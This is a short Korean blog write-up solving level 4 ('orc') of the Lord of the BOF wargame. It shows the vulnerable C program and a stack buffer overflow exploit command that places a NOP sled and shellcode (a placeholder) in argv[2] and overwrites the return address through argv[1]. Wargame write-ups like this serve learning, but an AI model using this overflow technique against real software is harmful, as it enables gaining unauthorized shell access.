LOB-level4
조금 생각하게 만든 문제였습니다. 새로나온 개념또한 있었습니다.
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') //return address의 시작이 0xbfxxxxxx로 시작하여야한다.
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
extern char **environ 을 사용하면 모든 환경 변수를 출력할 수 있습니다.
이 문제에서는 환경변수를 차례로 하나씩 가져온뒤 memset으로 모두 0으로 만들었습니다.
따라서 지금껏 풀어왔던 문제들처럼 환경변수를 통한 nop 썰매를 이용할 수 없었습니다.
따라서 이용한 방법이 argv[2] 즉, 두번째 인자를 이용한 것입니다.
./orc 'python -c 'print "\x90"*44+"ret(4byte)"'` 'python -c 'print "\x90"*100
+"SHELLCODE"'`
입니다. 저 ret부분에는 argv[2]의 시작주소가 입력 될 것입니다.
저는 기존의 orc.c 코드에 argv[2]의 주소를 출력하도록 설정하였습니다.
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
printf("%x\n",argv[2]);
}
주위해야할 점은 argv[2]의 주소를 알아내려 코드를 실행할 때 실제 입력할 형식으로 정확히 입력해야합니다. 안그러면 주소가 바뀌더라고요.
이렇게 하면 orc권한을 획득할 수 있었습니다.
0 개의 댓글